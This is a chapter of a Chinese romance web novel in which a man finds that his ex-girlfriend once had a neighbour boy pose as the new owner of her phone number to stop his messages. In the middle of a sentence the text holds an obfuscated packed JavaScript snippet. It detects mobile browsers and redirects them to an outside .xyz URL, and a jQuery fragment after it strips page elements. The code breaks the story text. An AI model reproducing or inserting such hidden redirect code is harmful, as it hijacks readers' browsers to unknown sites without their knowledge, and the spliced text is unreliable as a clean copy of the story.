阙宛舒:“……” 他是她爸爸吗?问题怎么那么多? 她有些无奈:“你还有其他事情吗?没有的话我进──” “有。”卫珣突然将自己的手机递到她面前,定定地看着她:“把你的电话给我。” 阙宛舒看着他手里纯黑色的手机,屏幕上显示的正好是数字键盘页面,她抿起唇,抓着包包肩带的手微微收紧。 卫珣看出她的犹豫,开口解释道:“别误会,我们说起来也是学生家长与老师的关系,难道阙老师不会和学生家长交换联系方式?” 阙宛舒当然会。 但他对她来说可不仅仅只是一个“学生家长”。 卫珣目光灼灼地盯着她,假装看不见她脸上迟疑与为难的表情,他向来是个不达目的绝不罢休的人,她若是不给,他能在这里和她僵持一整晚。 对于这点,阙宛舒自然也明白,因此犹豫几秒后,她还是接过了他的手机,输入自己的电话号码。 卫珣坐在机车上看着她的动作,嘴角微微勾起。 然而,当她把手机还给他,当他看清屏幕上显示的一串数字时,脸上的表情蓦然凝滞。 因为,这串号码分明是她以前用过的那个,他即便化成灰都认得。 可是为什么?她不是换号码了吗? 卫珣惊疑不定地抬起头来,待瞧见面前的人低垂着眼、脸上沉默的表情后,他忽然什么都明白了。 安静几秒,他突兀地笑了一声:“……哈。” 被阙宛舒单方面甩了之后,卫珣执着了很长一段时间,那时她突然带着她母亲离开梓城,行踪和去向都被人掩盖得严严实实,起初他找不到她,只能不停地给她发消息,后来找到了还是继续发,即便被她拉黑也仍不放弃,这个号码被拉黑就换个号码。 大概一连换了六个号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14874205|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码后,阙宛舒没再拉黑他,但她也始终没有回应,直到某一天,他终于收到一则来自她号码的短信,写的却是── “烦不烦,别发了大哥,这个电话号码不是什么阙宛舒的。” 卫珣不信,立刻打电话过去,结果竟是一个男人接的电话,那人不耐烦地说自己不是阙宛舒,这电话是他才刚换的号码,还让他别像个恐怖情人一样不停地给前任发骚扰短信,有病就去看病。 那时距离他们分手已经过了将近一年的时间,他从未得到她的回应,唯一的一次也并非来自她,而是一个自称接手了她的号码的陌生人。 这个号码,是当时的他和她之间唯一的联系,可是她连这个也舍弃了。 直到那一刻,卫珣才终于意识到,自己是真的被阙宛舒抛弃了。 事后他也没有继续查证,因为无论阙宛舒是不是真的换了号码,结果都不会有任何改变,可他没想到的是,原来阙宛舒是真的在骗他。 汹涌的怒意一时混合著痛恨、委屈和伤心袭上心头,又自心脏蔓延到四肢百骸,令他整个人都忍不住微微颤抖起来。 可卫珣的表情反而平静下来,他双拳紧握,一眨也不眨地看着她,轻声问:“所以,那个接电话的家伙是谁?” 阙宛舒低着头,过了好一会才轻声说:“是邻居家的弟弟。” 邻居家的弟弟?叫得可真亲密,卫珣眼角一跳,继续逼问:“他为什么替你回短信?为什么会接你的电话?” 见阙宛舒仍旧低着脑袋,看也不看他,卫珣的表情更冷了,他忍不住大着声音说了句:“阙宛舒,看我!” 话音落下,卫珣便看见她蓦地瑟缩了下肩膀,似乎被他吓到了的模样,他见状立刻抿起唇,极力想控制住表情。 他无意让她感到害怕……妈的,她都能联合外人来欺骗他了,还不许他发火吗? “他妈妈帮了我家很多,所以我替他和他妹妹辅导课业作为报答。” 这时,阙宛舒终于抬起头,她努力平复表情,但眼角和鼻尖却微微发红,声音也有些哑:“那一天,他看到你发来的短信,以为……你是个分手后还对前任纠缠不休的恐怖情人,所以才替我回了消息,后来的电话也是。” 以为他是对前任纠缠不休的恐怖情人?哈,难怪那小子会在电话里让他别像个恐怖情人一样骚扰前任,原来如此。 那她呢? 她也是这么看待他的吗? 卫珣很想问她,当那什么狗屁的邻居弟弟拿她手机回他消息和电话时,她在不在场?这一切究竟是那个人自作主张,还是本就是她指使的? 可他又很快意识到这个问题毫无意义。 因为无论是对方自作主张还是由她指使,她都一样默许了这件事。 想明白后,卫珣气笑了,他冷冷地盯着她,道:“阙宛舒,你真行。” “直接骂我很烦让我别再骚扰你不就行了?何必找个NPC来陪你演戏。” 阙宛舒无话可说。 她苦涩地想,如果当时的她真的这样说的话,他真的会听话不给她发消息吗? 卫珣当然不会。 但比起她真的换了号码、比起直接骂他,她和其他人联合起来欺骗他更让他不爽,什么狗屁的邻居弟弟,他现在真想穿越到过去刀了那小子。 眼见阙宛舒仍旧安静地站在原地,丝毫没有要为自己辩解的打算,卫珣觉得自己要是继续待在这里就要按耐不住脾气了,于是他阴着脸戴上头盔,发动机车引擎,毫不客气地甩了她一尾气。 待他走后,阙宛舒又在原地站了一会,这才慢吞吞地往小区大门走。 经过门卫室时,值班的门卫见她脸色不对,不由关切地询问她:“姑娘,你还好吗?” “我没事。”阙宛舒扬起脸,朝门卫笑了下,“谢谢您的关心。” 说完,她转过头,在对方担忧的眼神中继续往自己住的那栋楼走。 直到进了电梯,一抬头看见镜子里的自己那双通红的眼睛后,眼泪才像是突然抑制不住似地滚落下来。 她抬起手,一边抹眼泪一边想,哭什么哭啊阙宛舒。 你有什么资格哭? 可她的意念无法控制不断滚落的泪水,渐渐的,无声的落泪慢慢变成压抑的低泣,回荡在封闭的电梯里。